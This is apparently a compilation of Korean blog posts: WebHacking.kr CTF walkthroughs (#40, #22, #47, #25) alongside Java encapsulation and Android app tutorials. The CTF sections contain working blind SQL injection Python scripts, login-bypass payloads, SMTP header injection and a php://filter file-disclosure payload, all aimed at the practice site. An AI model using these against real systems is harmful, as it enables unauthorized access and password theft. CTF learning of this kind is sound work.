40번문제의 초기화면

 

1. 문제풀이

  • 이번문제도 뭔가 admin계정으로 접속하면 풀릴것 같이 보인다.
  • 일단 처음은 위 사진처럼 guest계정으로 접속해보겠다.

guest로그인 화면

 

  • admin 계정으로 접속을 시도해보겠다.

 

  • 위와같이 실패했다고 나온다.
  • id, pw를 admin으로 입력하고 no에0을 입력해 로그인하면 아무런 반응이 없다.
  • no에 0||no=2를 입력하고 로그인하자 다음과같이 admin계정의 비밀번호를 입력하라고 나온다.

 

 

  • 이젠 admin계정의 비밀번호를 BlindSQLi를 통해서 알아내면 된다.
  • 먼저 비밀번호의 길이를 알아내기 위해서 no에 다음과 같은 문구를 삽입해 길이를 알아낸다.
  • 1||no=2&&length(pw)=1
  • 위와 같은 비밀번호를 입력하라는 창이 나올때까지 1부터 증가하면서 대입해본다.
  • 그결과 10을 삽입했을때 비밀번호를 입력하라고 나온다. 따라서 비밀번호의 길이는 10이라는것을 알수 있다.

 

  • 그 다음 실제 비밀번호를 알아내기 위해서 다음과 같은 파이썬 코드를 작성해 프로그램으로 돌려보았다.
import requests
url = 'https://webhacking.kr/challenge/web-29/' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력

db_len = 10

def find_db_str(db_len):
    db_str = ""
    for len in range(1,db_len+1):
        for ascii in range(33,127): 
            k = hex(ascii).split("0x")[1]
            value = "?no=0||substr(pw,{},1)=0x{}&id=guest&pw=guest".format(len,k)
            # no에 Payload 코드 삽입 
            response = requests.get(url + value, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "admin password" in response.text:  
                db_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
                break
        
    return db_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("db : \n"+find_db_str(db_len))

 

  • 프로그램을 돌리면 위와같이 비밀번호가 lck_admin이라고 출력된다.
  • 하지만 실제 비밀번호는 luck_admin인데 2번째 글자인 u가 출력되지 않은 이유는 guest계정의 비밀번호인 guest의 2번째 글자가 u로 똑같기 때문이다.
  • 이제 비밀번호를 입력하면 문제가 풀리게된다.

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#22)  (0) 2023.04.18
WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

1. 캡슐화

  • 캡슐화란 객체의 내부 구조 및 데이터를 캡슐처럼 감싸 외부에서 직접 볼 수 없게 은닉하여 보호하는 것을 말한다.
  • 이를 위해서 클래스와 멤버변수(필드), 멤버함수(메소드)는 외부에서 접근가능한 범위를 지정할 수 있는 접근제어자와 함께 사용된다.
  • 멤버변수의 경우 보통 private키워드를 사용하여 외부로부터의 직접적인 접근을 막고, 흔히 getter/setter라 부르는 멤버함수(메소드)를 만들어 사용함으로써 내부 데이터에 제한적 접근을 할 수 있게 한다. 

 

2. 정보은닉

  • 프로그램의 세부적 구현사항을 외부로 드러내지 않도록 하는 것이다.
  • 캡슐화(Encapsulation)을 정보 은닉(information hiding) 그 자체로 혼동하는 경우가 많은데, 이는 대부분의 경우 캡슐화에 정보 은닉이 동반되도록 프로그램을 구현하는 경우가 많기 때문이다.
  • 따라서, 대부분의 경우 클래스 외부에서는 바깥으로 노출된 특정 메소드에만 접근이 가능하게하여 내부가 어떤 식으로 처리되는지를 알지 못하도록 설계된다.

 

3. 실습예제

 

MotorBike.java

package UdemyJava;

public class MotorBike {

    private int speed; //접근제어자로 외부에서 접근 불가하게 변수 설정

    void setSpeed(int speed) { //변수를 읽고 가져올수 있도록 getter/setter메소드를 생성

        if (speed > 0) {
            this.speed = speed;
        }
    }

    int getSpeed() { //변수를 읽고 가져올수 있도록 getter/setter메소드를 생성
        return speed;
    }

    public void increaseSpeed(int howMuch) {
        this.speed = this.speed + howMuch;
    }

    public void decreaseSpeed(int howMuch) {
        this.speed = this.speed - howMuch;
    }
}

 

MotorBikeRunner.java

package UdemyJava;

public class MotorBikeRunner {

    public static void main(String[] args) {

        MotorBike ducati = new MotorBike(); // MotorBike 클래스를 이용해 객체 생성
        MotorBike honda = new MotorBike();  // MotorBike 클래스를 이용해 객체 생성


        ducati.setSpeed(100); // setter메소드를 이용해 변수값 설정

        ducati.increaseSpeed(100);
        ducati.decreaseSpeed(50);

        honda.increaseSpeed(100);
        honda.decreaseSpeed(50);

        System.out.println(ducati.getSpeed()); // getter 메소드를 이용해 변수의값을 가져온다
        System.out.println(honda.getSpeed());  // getter 메소드를 이용해 변수의값을 가져온다


    }
}

'Java Study' 카테고리의 다른 글

Java Study(배열/키 값)  (0) 2023.04.04
Java Study(상속/오버라이딩)  (0) 2023.03.31
Java Study(생성자/접근제한자)  (0) 2023.03.30
Java(class/object)  (0) 2023.03.29
Java (method/메소드)  (0) 2023.03.28

22번문제 기본화면

 

1. 문제풀이

  • 이번문제는 SQLi를 이용해 admin 계정으로 로그인을 우회하는 문제이다.
  • 먼저 회원가입을 통해 계정을 하나 생성해 정상적으로 로그인을 해보겠다.

 

  • red 계정으로 회원가입 후 로그인을 해보니 설정한 비밀번호가 해시화되어서 화면에 출력된다.
  • hash값으로 보았을 때 md5인것으로 추측된다.
  • 해당 해시값을 md5복호화 사이트에서 복호화 해본 결과 다음과 같이 나온다.

복호화 결과

  • 설정한 비밀번호는 '1234' 이지만 뒤에 apple이 같이 출력되는것으로 보아 apple은 salt값으로 추측된다.
  • salt란 보안강화를 위해 비밀번호 뒤에 임의의 문자를 덧붙이는 것이다.
  • 그럼 이제 admin계정으로 로그인 우회를 하기 위해 공격을 시도해보겠다.

 

참인 결과

  • admin' or '1'='1# 구문을 대입해 공격을 시도해보니 로그인이 되지는 않지만 위와같은 화면이 출력된다.

 

거짓인 결과

  • admin' and '1'='1# 구문을 대입해 공격을 시도해보니 위와같은 화면이 출력된다.
  • 따라서, 참일경우 Wron password 구문이 출력되고, 거짓일 경우 Login Fail 이 출력되므로 참/거짓이 다르게 출력된다.
  • 이러한 경우 우리는 Blind SQLi를 시도해볼 수 있다.
  • 프록시 도구를 이용해 먼저 로그인 요청시 어떤 파라미터가 전송되는지를 다음과  같이 먼저 확인한다.

 

  • 로그인 요청 시 uuid, pw 파라미터가 POST 방식으로 전달되는것을 확인할 수 있다.
  • 위 정보들을 바탕으로 자동화 공격을 시도할 파이썬 코드를 작성한다.

파이썬 코드

import requests
url = 'https://webhacking.kr/challenge/bonus-2/index.php' #url 주소를 입력
cookies = {'PHPSESSID':''} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len = pw_len+1
        value = "admin' and length(pw) = {}#".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'uuid': value} # uuid에 Payload 코드 삽입 
        response = requests.post(url, data=params, cookies=cookies) #POST를 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Wrong" in response.text: 
            break
    return pw_len #pw 길이 반환 

def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(33,127): 
            value = "admin' and (ascii(substring(pw,{},1))>{})#".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'uuid': value}  # uuid에 Payload 코드 삽입 
            response = requests.post(url, data=params, cookies=cookies)  # POST를 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Fail" in response.text:  
                pw_str+=chr(ascii) #참이라면 ascii코드를 char형으로 변경해서 저장
                break
        
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 : \n"+find_pw_str(find_pw_len()))
  • 위 코드를 실행시키면 다음과 같이 해시화된 비밀번호를 알 수 있다.

 

  • 실제 비밀번호를 알아내기 위해서 해시값을 아까와 같이 복호화 한다.

 

  • 복호화를 해본 결과 wowapple 이라는 실제 비밀번호가 출력된다.
  • 하지만 apple은 salt값이니 제외하고 실제 비밀번호는 wow이다.
  • 이제 필요한것을 다 얻었으니 굳이 로그인 우회가 아니라 그냥 비밀번호를 치고 들어가면 된다.

 

admin계정으로 로그인 성공

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#40)  (1) 2023.04.24
WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

47번문제 기본화면

 

send버튼을 클릭한 화면

 

1. 문제풀이

  • 해당 문제의 경우 위 사진들을 바탕으로 생각해본 결과 메일을 보내는것과 관련된 취약점을 찾는문제인것 같다.
  • 우선 이 문제를 푸는 조건은 본인의 메일로 전송하면 밑에 flag가 보여지면서 문제를 풀 수 있다.
  • 하지만 그냥 본인의 메일을 입력해 전송하면 flag는 나오지않고 위 사진과 같은 화면만 나온다.
  • 해당 문제의 취약점은 SMTP Header Injection으로 공격자가 원하는 주소로 메일을 보낼 수 있는 취약점이다.

공격방법은 다음과 같다.

 

  • SMTP Header Injection 공격을 하기 위해선 두 줄 이상의 입력 폼이 필요하기 때문에 개발자 도구로 <input>태그를 <textarea>태그로 변경한다.

 

  • 윗줄에는 아무거나 입력하고 밑줄에 Cc: 이메일주소 를 입력하면 공격이 성공한다.
  • Cc는 (Carbon Copy)는 참조로, 수신자로 정해진 상대방 말고도 메일을 보내고 싶은 사람에게 보낼 때 사용하는 기능이다.

 

공격성공 화면

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#40)  (1) 2023.04.24
WebHacking.kr(#22)  (0) 2023.04.18
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04

25번문제 기본화면

 

1. 문제풀이

  • 해당 문제의 경우 웹서버의 어떤 파일들이 있는지 보여주고 있다. 아마 flag.php파일을 볼수 있다면 풀리는 문제로 보인다.
  • 먼저 기본화면에서 url을 살펴보면 /?file=hello가 보인다 이러한 방식으로 웹서버의 파일을 불러오는것 같다.
  • 그럼 바로 /?file=flag를 url에 입력해 해당 파일을 추출해보겠다.

 

file=flag의 화면

  • 하지만 파일의 소스코드는 보이지 않고 flag는 소스코드안에 있다고만 알려준다.
  • 해당 문제에서는 PHP Wrapper를 사용해서 소스코드를 뺴내보겠다.
  • 여기서 사용할 PHP Wrapper는 php://filter를 사용하겠다.
  • 주소?pages=php://filter/convert.base64-encode/resource=hi.php(기본 사용법)
  • 위 방법을 이용해 url창에 다음과 같이 입력하겠다.
  • http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag
  • 뒤에 확장자는 해당 웹서버에서 파일을 가져올 때 자동으로 붙여서 가져오는것으로 보여 빼고 진행하였다.

 

  • 이전과는 달리 다른문구가 보이지만 소스코드가 아니라 알아볼수 없는 문자가 보인다.
  • 해당 문구는 Base64로 소스코드가 인코딩 된것이다.
  • 인터넷에 Base64디코딩을 검색하면 디코딩해주는 사이트를 쉽게 찾을 수 있다.

 

  • Base64로 인코딩된 문자를 위와같이 디코딩하면 소스코드가 보여진다.
  • 쉽게 flag를 찾을 수 있다.

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#22)  (0) 2023.04.18
WebHacking.kr(#47)  (0) 2023.04.13
Lord of SQLi(#12 darkknight)  (0) 2023.01.05
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04

1. Animation

앱을 개발할 때 시각적으로 더 재밌고 예쁘게 개발하기 위해서 안드로이드는 애니메이션 기능을 제공한다.

 

여러가지 애니메이션들이 있지만 이 글에서는 object animator를 다뤄보겠습니다.

 

1) ObjectAnimator

  • 하나의 뷰에서 간단한 애니메이션을 이용하고자 하지만 반복적으로 동작하기를 바란다면, ObjectAnimator를 사용하면 된다.
  • ObjectAnimator의 특별한 기능이라고 한다면 XML을 이용하여 애니메이션을 만들 수 있는 장점이 있다.

 

shake_animations.xml

<?xml version="1.0" encoding="utf-8"?>
<rotate xmlns:android="http://schemas.android.com/apk/res/android"

    android:duration="150"
    android:fromDegrees="-10"
    android:pivotX="30%"
    android:pivotY="30%"
    android:repeatCount="1"
    android:repeatMode="reverse"
    android:toDegrees="10"
    />
  • 위와 같이 애니메이션 액션을 설정한다.

 

MainActivity.java

private void shakeAnimation() {
        Animation shake = AnimationUtils.loadAnimation(MainActivity.this,
                R.anim.shake_animation);

        binding.cardView.setAnimation(shake);

        shake.setAnimationListener(new Animation.AnimationListener() {
            @Override
            public void onAnimationStart(Animation animation) {
                binding.questionTextview.setTextColor(Color.RED);
            }

            @Override
            public void onAnimationEnd(Animation animation) {
                binding.questionTextview.setTextColor(Color.WHITE);

            }

            @Override
            public void onAnimationRepeat(Animation animation) {

            }
        });
    }
  • shakeAnimator 메소드를 생성한다.
  • shake_animation.xml파일을 해당 파일로 shake라는 변수에 가져온다.
  • cardView위젯에 해당 애니메이션을 적용시킨다.
  • 애니메이션의 액션으로 빨간색으로 시작하여 하얀색으로 글자색이 바뀌도록 한다.
  • 반복적인 액션으로 앱화면에서는 글자색이 빨간색에서 하얀색으로 깜빡거리게 보인다.

 

'Android Study' 카테고리의 다른 글

Android Study(data binding)  (0) 2023.04.10
Android Study(Making App #Quiz)  (0) 2023.04.07
Android Study(Making App #Rain)  (0) 2023.04.05

1. Data Binding

  • DataBinding(데이터바인딩)은 간단하게 xml파일에 Data를 연결(binding)해서 사용할 수 있게 도와주며 Android JetPack 라이브러리의 하나의 기능 입니다.
  • findViewById를 사용하지 않아도 되며 보통 MVVM 패턴을 구현 할 때 "LiveData"와 함께 거의 필수적으로 사용합니다.
  • 즉, 데이터바인딩은 애플리케이션 로직과 레이아웃을 binding하는 데 필요한 코드를 최소화하여 코드가 줄어들게 됩니다.

 

1) 기본 사용방법

1-1 build.gradle(Module :app) 파일에 databinding요소를 추가한다.

android {
...
	buildFeatures {
    	  dataBinding true
    }
}

 

1-2  binding을 사용하는 xml 리소스 파일 수정

<layout> 아래에 data를 추가한다.

<layout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools">

    <data>

    </data>

</layout>

 

1-3 MainActivity.java에서 binding하기위해 수정

DataBindingUtil class 의 객체를 생성하고, 기존의 setContentView() 를 DataBindingUtil.setContentView() 로 대체한다.

private ActivityMainBinding binding;

@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
	binding = DataBindingUtil.setContentView(this, R.layout.activity_main);

이후부터는 위젯을 findViewId()를 사용하지않아도 가져올 수 있습니다.

 

 

'Android Study' 카테고리의 다른 글

Android Study(애니메이션)  (0) 2023.04.10
Android Study(Making App #Quiz)  (0) 2023.04.07
Android Study(Making App #Rain)  (0) 2023.04.05

1. Quiz 앱 만들기

- 목표

 

  • 총 8개의 퀴즈를 만들어 화면에 퀴즈가 1번부터 8번까지 하나씩 보이게 합니다.
  • True, False 버튼을 만들어 사용자가 퀴즈의 답을 클릭하면 정답인지 아닌지 알려줍니다.
  • Prev, Next 버튼을 만들어 1번부터 8번까지 퀴즈를 앞뒤로 이동할수 있게 합니다.

 

완성화면)

 

 

1) TextView와 Button 만들기

 

  • 퀴즈가 들어가는 TextView와 각 Button을 디자인한 xml코드는 다음과 같다.

activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<layout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools">


    <androidx.constraintlayout.widget.ConstraintLayout
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="#2196F3"
        tools:context=".MainActivity">

        <ImageView
            android:id="@+id/imageView"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginStart="8dp"
            android:layout_marginTop="8dp"
            android:layout_marginEnd="8dp"
            android:contentDescription="@string/image_description"
            app:layout_constraintEnd_toEndOf="parent"
            app:layout_constraintHorizontal_bias="0.498"
            app:layout_constraintStart_toStartOf="parent"
            app:layout_constraintTop_toTopOf="parent"
            app:srcCompat="@drawable/ic_launcher_foreground" />

        <TextView
            android:id="@+id/question_text_view"
            style="@style/TextStyle"
            android:layout_width="0dp"
            android:layout_height="29dp"
            android:layout_marginTop="40dp"
            android:text="@string/placeholder"
            android:textColor="#212121"
            app:layout_constraintEnd_toEndOf="parent"
            app:layout_constraintStart_toStartOf="parent"
            app:layout_constraintTop_toBottomOf="@+id/imageView" />

        <Button
            android:id="@+id/true_button"
            style="@style/ButtonStyle"
            android:text="@string/true_button_text"
            android:textColor="#000000"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintEnd_toStartOf="@+id/false_button"
            app:layout_constraintHorizontal_bias="0.5"
            app:layout_constraintStart_toStartOf="parent"
            app:layout_constraintTop_toBottomOf="@+id/imageView" />

        <Button
            android:id="@+id/false_button"
            style="@style/ButtonStyle"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginTop="8dp"
            android:layout_marginBottom="8dp"
            android:text="@string/false_button_text"
            android:textColor="#000000"
            app:layout_constraintBottom_toBottomOf="parent"
            app:layout_constraintEnd_toEndOf="parent"
            app:layout_constraintHorizontal_bias="0.5"
            app:layout_constraintStart_toEndOf="@+id/true_button"
            app:layout_constraintTop_toBottomOf="@+id/imageView" />

        <Button
            android:id="@+id/next_button"
            style="@style/ButtonStyle"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginStart="8dp"
            android:layout_marginTop="8dp"
            android:text="@string/next_button_text"
            android:textColor="#000000"
            app:layout_constraintEnd_toEndOf="parent"
            app:layout_constraintHorizontal_bias="0.5"
            app:layout_constraintStart_toEndOf="@+id/prev_button"
            app:layout_constraintTop_toBottomOf="@+id/true_button" />

        <Button
            android:id="@+id/prev_button"
            style="@style/ButtonStyle"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_marginStart="8dp"
            android:layout_marginTop="8dp"
            android:text="@string/prev_button_text"
            android:textColor="#000000"
            app:layout_constraintEnd_toStartOf="@+id/next_button"
            app:layout_constraintHorizontal_bias="0.5"
            app:layout_constraintHorizontal_chainStyle="packed"
            app:layout_constraintStart_toStartOf="parent"
            app:layout_constraintTop_toBottomOf="@+id/false_button" />
    </androidx.constraintlayout.widget.ConstraintLayout>
</layout>

 

style.xml

<?xml version="1.0" encoding="utf-8"?>
<resources>

    <style name="TextStyle">
        <item name="android:layout_marginStart">8dp</item>
        <item name="android:layout_marginEnd">8dp</item>
        <item name="android:fontFamily">@font/croissant_one</item>
        <item name="android:padding">@dimen/text_padding</item>
        <item name="android:textAlignment">textStart</item>
    </style>

    <style name="ButtonStyle" parent="TextStyle">
        <item name="android:layout_width">wrap_content</item>
        <item name="android:layout_height">wrap_content</item>
        <item name="android:layout_marginTop">8dp</item>
        <item name="android:layout_marginBottom">8dp</item>
        <item name="android:backgroundTint">#D15858</item>
        <item name="android:textAlignment">center</item>
    </style>
</resources>

 

string.xml

<resources>
    <string name="app_name">True Citizen</string>
    <string name="false_button_text">false</string>
    <string name="true_button_text">True</string>
    <string name="prev_button_text">prev</string>
    <string name="next_button_text">next</string>
    <string name="placeholder">Question goes here</string>
    <string name="image_description">A droid icon image</string>

    <string name="question_declaration">The (U.S.) Declaration of Independence was Adopted in 1776.</string>
    <string name="correct_answer">That\'s correct</string>
    <string name="wrong_answer">That\'s incorrect</string>
    <string name="question_constitution">The Supreme law of the land is the Constitution.</string>
    <string name="question_amendments">The (U.S.) Constitution has 26 Amendments.</string>
    <string name="question_independence_rights">The two rights in the Declaration of Independence are:
        \n \t <b>life</b> \n  \t <b>pursuit of happiness</b>.</string>
    <string name="question_religion">Freedom of religion means:
        \n \t <b>You can practice any religion, or not practice a religion</b>.</string>
    <string name="question_government">Journalists is one branch or part of the government.</string>
    <string name="question_government_feds">Congress does not make federal laws.</string>
    <string name="question_government_senators">There are one hundred (100) U.S. Senators.</string>
</resources>

 

2) 기능 구현하기

목표에서 설명한 순서대로 다음과 같이 기능을 구현해보겠다.

 

2-1 화면에 퀴즈 출력

Question.java

public class Question {
    private int answerResId;
    private boolean answerTrue;

    public Question(int answerResId, boolean answerTrue) {
        this.answerResId = answerResId;
        this.answerTrue = answerTrue;
    }

    public int getAnswerResId() {
        return answerResId;
    }

    public void setAnswerResId(int answerResId) {
        this.answerResId = answerResId;
    }

    public boolean isAnswerTrue() {
        return answerTrue;
    }

    public void setAnswerTrue(boolean answerTrue) {
        this.answerTrue = answerTrue;
    }
}
  • Question 클래스를 새로 생성한다.
  • 생성자를 생성하여 각 퀴즈의 id값(answerResId), 퀴즈의 정답(answerTrue)변수들을 초기화한다.
  • 다른 클래스에서 변수를 수정할 수 있도록 getter/setter를 생성한다.

 

MainActivity.java

public class MainActivity extends AppCompatActivity {
    private ActivityMainBinding binding;

    private Question[] questionBank = new Question[] {
            //create/instantiate/question object
            new Question(R.string.question_amendments, false),
            new Question(R.string.question_constitution, true),
            new Question(R.string.question_declaration, true),
            new Question(R.string.question_independence_rights, true),
            new Question(R.string.question_religion, true),
            new Question(R.string.question_government, false),
            new Question(R.string.question_government_feds, false),
            new Question(R.string.question_government_senators, true),
    };
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        binding = DataBindingUtil.setContentView(this, R.layout.activity_main);
}
  • 뷰의 id값을 해당 파일로 가져오기 위해서 findViewById()가 아닌 binding을 사용한다.
  • 퀴즈들을 배열로 선언하기 위해서 배열형태의 questionBank를 생성한다.
  • string.xml에 있는 문제들의 id이름을 정답과 같이 하나씩 배열의 인스턴스로 생성한다.
  • setContentView로 화면을 디자인한 리소스 id를 해당 파일에서 사용할 수 있게 한다.
  • 그 밑줄은 binding 방식으로 리소스 id를 해당파일에서 사용할 수 있게 해준다.

 

2-2 Prev, Next 버튼 기능 구현

MainActivity.java

public class MainActivity extends AppCompatActivity {
    private ActivityMainBinding binding;
    private int currentQuestionIndex = 0;

binding.nextButton.setOnClickListener(view -> {
            currentQuestionIndex = (currentQuestionIndex + 1) % questionBank.length;
            updateQuestion();

        });

        binding.prevButton.setOnClickListener(view -> {
            if (currentQuestionIndex > 0) {
                currentQuestionIndex = (currentQuestionIndex - 1) % questionBank.length;
                updateQuestion();
            }

        });
    }
    
    private void updateQuestion() {
        binding.questionTextView.setText(questionBank[currentQuestionIndex].getAnswerResId());

    }
}
  • next버튼 클릭 시 다음퀴즈를 보여주고 prev버튼 클릭 시 이전 퀴즈를 보여준다.
  • 먼저 updateQuestion 메소드를 생성한다.
  • 해당 메소드는 questionBank 배열을 이용해 퀴즈id값을 가져온다.
  • 처음 페이지에서 next 버튼을 클릭하면 (0+1)%8이 되어 나머지값인 1이 currentQuestionIndex 변수에 삽입된다. 따라서 updateQuestion 메소드로 넘어가 questionBank[1]이 되어 2번째 퀴즈를 보여주게 된다.
  • 2번째 페이지에서 prev버튼을 클릭하면 (1-1)%8이 되어 나머지값인 0이 currentQuestionIndex 변수에 삽입된다. 따라서 updateQuestion 메소드로 넘어가 questionBank[0]이 되어 1번째 퀴즈를 보여주게 된다.

 

2-3 True, False 버튼 기능 구현

MainActivity.java

@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        binding = DataBindingUtil.setContentView(this, R.layout.activity_main);
        binding.trueButton.setOnClickListener(view -> checkAnswer(true));
        binding.falseButton.setOnClickListener(view -> checkAnswer(false));
	}

	private void checkAnswer(boolean userChoseCorrect) {
        boolean answerIsCorrect = questionBank[currentQuestionIndex].isAnswerTrue();
        int messageId;

        if (answerIsCorrect == userChoseCorrect) {
            messageId = R.string.correct_answer;
        }else {
            messageId = R.string.wrong_answer;
        }
        Snackbar.make(binding.imageView, messageId, Snackbar.LENGTH_SHORT)
                .show();

    }
  • checkAnswer 메소드를 생성해 boolean 리턴타입을 가진 userChosenCorrect변수를 선언한다.
  • answerIsCorrect 변수에 각 퀴즈에 실제 정답을 가져와 삽입한다.
  • 정답과 오답시에 출력문들의 리소스값을 messageId 변수에 삽입한다.
  • Snackbar를 이용해 정답인지 오답인지 출력한다.

 

2. 앱 실행

 

'Android Study' 카테고리의 다른 글

Android Study(애니메이션)  (0) 2023.04.10
Android Study(data binding)  (0) 2023.04.10
Android Study(Making App #Rain)  (0) 2023.04.05

1. Rain 앱 만들기

- 목표

 

  • $0이라는 텍스트뷰를 만들고 make it rain 버튼을  클릭할 때마다 100,000원씩 금액이 올라간다.
  • show info 버튼을 클릭하면 Get, Rich 문구가 알람처럼 나왔다 사라진다.
  • 금액이 1,000,000원이 되면 빨간색으로 변하고 congratulations!! You get rich!! 문구가 알람처럼 나왔다 사라진다.

 

 

초기화면)

 

1) Text view와 Button 만들기

  • 사실 디자인의 경우 안드로이드 스튜디오를 사용해 만들면 gui 방식으로 편하게 만들수 있다.
  • 앱의 디자인 코드인 xml코드는 다음과 같다.
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#C0CA33"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/you_have"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@string/you_have"
        android:textSize="16sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.176" />

    <TextView
        android:id="@+id/moneyValue"
        android:layout_width="236dp"
        android:layout_height="45dp"
        android:gravity="center"
        android:text="@string/money_value"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.497"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/you_have"
        app:layout_constraintVertical_bias="0.07"
        tools:ignore="TextSizeCheck" />

    <Button
        android:id="@+id/buttonMakeItRain"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@string/make_it_rain"
        android:onClick="showMoney"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/moneyValue"
        app:layout_constraintVertical_bias="0.121" />


    <Button
        android:id="@+id/buttonShowInfo"
        android:layout_width="137dp"
        android:layout_height="51dp"
        android:onClick="showInfo"
        android:text="@string/show_info"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonMakeItRain"
        app:layout_constraintVertical_bias="0.137" />

</androidx.constraintlayout.widget.ConstraintLayout>

 

2) 기능 구현하기

목표에서 설명한 순서대로 다음과 같이 기능을 구현해보겠다.

 

앱의 각 버튼과 텍스트뷰의 리소스 값이다.

 

string.xml

<resources>
    <string name="app_name">MakeItRain</string>
    <string name="you_have">You Have:</string>
    <string name="money_value">$0</string>
    <string name="make_it_rain">MAKE IT RAIN</string>
    <string name="show_info">SHOW INFO</string>
    <string name="test">Hello</string>
    <string name="app_info">Get, Rich</string>
    <string name="money_info">" congratulations!! You get rich!!"</string>
</resources>

 

2-1 MAKE IT RAIN 버튼 기능 구현

MainActivity.java

package com.example.makeitrain;

import androidx.appcompat.app.AppCompatActivity;

import android.graphics.Color;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

import com.google.android.material.snackbar.Snackbar;

import java.text.NumberFormat;

public class MainActivity extends AppCompatActivity {

    private TextView moneyValue;
    private int moneyCounter = 0;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        moneyValue = findViewById(R.id.moneyValue);

    }
    
    public void showMoney(View view) {
    	NumberFormat numberFormat = NumberFormat.getCurrencyInstance();
        
    	moneyCounter += 100000;
        moneyValue.setText(String.valueOf(numberFormat.format(moneyCounter)));
        Log.d("MainActivity", "onClick: " + moneyCounter);
  • 먼저 화면에 금액을 출력하기 위해 moneyValue를 텍스트뷰로 선언한다.
  • 그 다음 moneyCounter 변수를 생성해 금액이 올라갈때마다 해당 변수에 값을 담는다.
  • 텍스트뷰로 선언한 moneyValue를 findViewById()로 main.xml에서 설정한 id값인 moneyValue를 MainActivity.java로 가져온다.
  • showMoney 메소드를 생성한다.
  • NumberFormat 클래스를 이용해 numberFormat 객체를 생성한다.
  • 버튼을 클릭할 때마다 100,000원씩 누적되도록 한다.
  • 금액이 화면에 출력되도록 setText를 이용해 moneyValue를 문자열 형태로 변환한다.

 

if (moneyCounter == 1000000) {
            moneyValue.setTextColor(Color.RED);
            Toast.makeText(MainActivity.this, R.string.money_info, Toast.LENGTH_LONG)
                    .show();
        }
}
  • showMoney 메소드 안에 if문을 삽입하여 금액이 1,000,000원이 되면
